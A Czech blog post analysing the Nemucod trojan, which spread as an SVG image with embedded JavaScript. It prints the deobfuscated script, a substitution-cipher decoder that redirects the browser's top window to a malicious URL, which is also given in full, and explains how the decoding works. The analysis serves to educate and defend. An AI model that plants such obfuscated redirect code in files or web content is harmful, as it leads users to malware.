29.11.2016

Malware Nemucod: Podruhé a podrobněji

Dost bylo řečí okolo. Pojďme smočit ruce v kódu!


Cover 8

Nedávno jsme psali o nové vlně malwaru, která se šíří soukromými zprávami na sociálních sítích. Přátelé si navzájem nevědomky přeposílají obrázek, který prý klikající oběť místo svého zobrazení přesměruje někam na útočnou stránku a kdovíco ještě. Co se ale děje ve skutečnosti? Tímto děkuju své kamarádce Monice za zaslání vzorku malwaru. Přece jen, vše zlé může být i k něčemu dobré…

Dotyčný “obrázek”, ve skutečnosti SVG soubor obsahující JavaScriptový kód server VirusTotal analyzoval jako Trojan.JS.Nemucod.CX, Trojský kůň s krycím názvem Nemucod, tedy malware, který se sám nešíří, ale zprostředkovává přístup dalším škodlivým aktivitám. Zdrojový kód SVG souboru je pro studijní účely k nahlédnutí na serveru Pastebin.com. Na první pohled je vidět, že JavaScriptový kód je silně obfuskovaný, tedy pro prohlížeč stále funkční, avšak pro uživatele velmi těžce čitelný. Prohlédněme si jeho deobfuskovanou verzi:

function nemucod(p_string, p_index, p_true){
  var alphabet = "tUZu?cz20jdk/DXNSTeIyVGa8m14KP5rxC6pl:bLnBAYfiMJFh9.ovgREH_3O7s=";
  var cipher = [
    "djPnX_hM8vUJ.yF9peANR73YI\/KukxGZl6Bbs20m5D1?:LHaOT4zSgforic=CVtE",
    "pZTszVkad=PBG?uRUbM9HoX_3t6EI1FLc.e5f\/KODY0vnAyCrJmh4jgSx2:8iNl7",
    ".Noet8TypChD4zIu_d=EZ32LYlva50xnOU:9fSgrPViKAJRsm1kG\/7c6HB?XjFMb",
    "g1pEfUhIKGHiCe:r057=ABPXR8uO6YyS3_zMcsLa?j.vF9bolZNDV\/tJTdm2nk4x",
    "L=f2Y7stlKC5_UA.VX1ahvmcruzox?J:g6MDIpHn0bRyijFZ4NEde\/BkP89STOG3"
  ];
var output = "";
var cipher_size = 0;
var i = 0;
var j = "";
while(cipher[cipher_size]){ // While cyklus č.1
  cipher_size++;
}
while(p_string[i]){ // While cyklus č.2
  var k = 0;
  var l = -1;
  while(alphabet[k]){ // While cyklus č.3
    if(alphabet[k] == p_string[i]){
      l = k;
      break;
    }
    k++;
  }
  if(l >= 0){ // Podmínka
    var m = 0;
    var n = -1;
    while(cipher[i % cipher_size][m]){ // While cyklus č.4
      if(cipher[i % cipher_size][m] == p_string[i]){
        n = m;
        break;
      }
      m++;
    }
    output += alphabet[n];
    }
    else{
      output += p_string[i];
    }
    i++;
  }
  for ( p = p_index; p < output.length; p++ ){
    j += output[p];
  }
  output = j;
  return output;
}
var v_window = window;
var v_top = nemucod("flnUDLVPgeb", 8, true); // top
var v_location = nemucod("_f/UcdA/?", 1, true); // location
var v_href = nemucod("nwcg5vjPEiZ_DZ:An", 13, true); // href
v_window[v_top][v_location][v_href] = nemucod("TgAVhwL/7L0n1gLb/4CBLnJ/1UM97dLpeMdbw4MNbG.S2tpGMNb", 12, true);

Jádrem je funkce nemucod, která na vstupu dostane tři parametry: p_string (vstupní řetězec), p_index, p_true. Třetí parametr p_true funkce nevyužívá. Funkce nejprve pevně definuje proměnné alphabet (řetězec) a cipher (pole řetězců), dále také využívá proměnné output (výstupní hodnota funkce), cipher_size a řadu pomocných proměnných. První while cyklus pouze projde pole cipher a uloží do proměnné cipher_size jeho velikost. Což lze zvládnout i konstrukcí cipher.length.

Druhý while cyklus prochází vstupní řetězec znak po znaku a na každý takový znak aplikuje while cyklus (č.3) a if podmínku. Třetí while cyklus prochází řetězec alphabet a porovnává jej se vstupním znakem. Vzhledem k tomu, že řetězec alphabet ve skutečnosti obsahuje právě jednou každé písmeno abecedy, číslici a několik symbolů, jedná se skutečně o množinu povolených znaků a třetí while cyklus jen testuje, zda-li daný vstupní znak patří-li do této množiny. A následná podmínka tuto informaci využívá - pokud se daný vstupní znak nenachází v množině povolených znaků, vrátí jej funkce na výstup v nezměněné formě. V opačném případě jej dále zpracovává.

A tady konečně přichází to šifrování. Prvně si všimněme, že i řetězce v poli cipher obsahují právě jednou každé písmeno abecedy, číslici a několik symbolů, a tedy jsou jen permutací znaků řetězce alphabet. Čtvrtý while cyklus přidělí každému vstupnímu znaku po řadě jeden řetězec z pole cipher, najde pozici, na níž se daný vstupní znak v řetězci nachází a znak na stejné pozici, avšak v řetězci alphabet, připojí na výstup. A to je vše. Nakonec již jen for cyklus vybere požadovaný podřetězec na základě vstupní proměnné p_index. Což lze zařídit i konstrukcí output.substring(p_index).

Příklad: Funkce nemucod("t88D7h", 0, true) vrací řetězec “s3c.cz”. Vstupní řetězec je tedy “t88D7h”. Ukažme si například znak “7”. Znak “7” je ve vstupním řetězci v pořadí pátý, použijeme tedy pátý řetězec z pole cipher. Pátý řetězec z pole cipher začíná znaky “L=f2Y7stlKC5...”, je vidět, že náš znak “7” se nachází na šesté pozici. A tomu odpovídá na šesté pozici v řetězci alphabet znak “c”. A opravdu, znak “7” se dešifruje jako znak “c”.

Když se na kód podíváme trochu s odstupem, zjistíme, že jde ve skutečnosti o klasickou implementaci polyalfabetické substituční šifry. Celý kód našeho malwaru tedy nedělá nic jiného, než velmi složitě schovává následující řetězec: http://gifivedepe.itup.pw/php/trust.php, odkaz na stránku (již nefunkční) pravděpodobně obsahující další malware. Trocha zklamání. Jako malware se tedy, jak je vidět, neoznačuje jen škodlivý kód, ale také kód, který sám o sobě neškodí, ale jen jinému škodlivému kódu napomáhá. Pro zlepšení nálady si alespoň přečtěte slovo TNEMUCOD pozpátku, ať zjistíte, jak antivirové týmy tyhle názvy malwaru vymýšlejí.

Kam dál?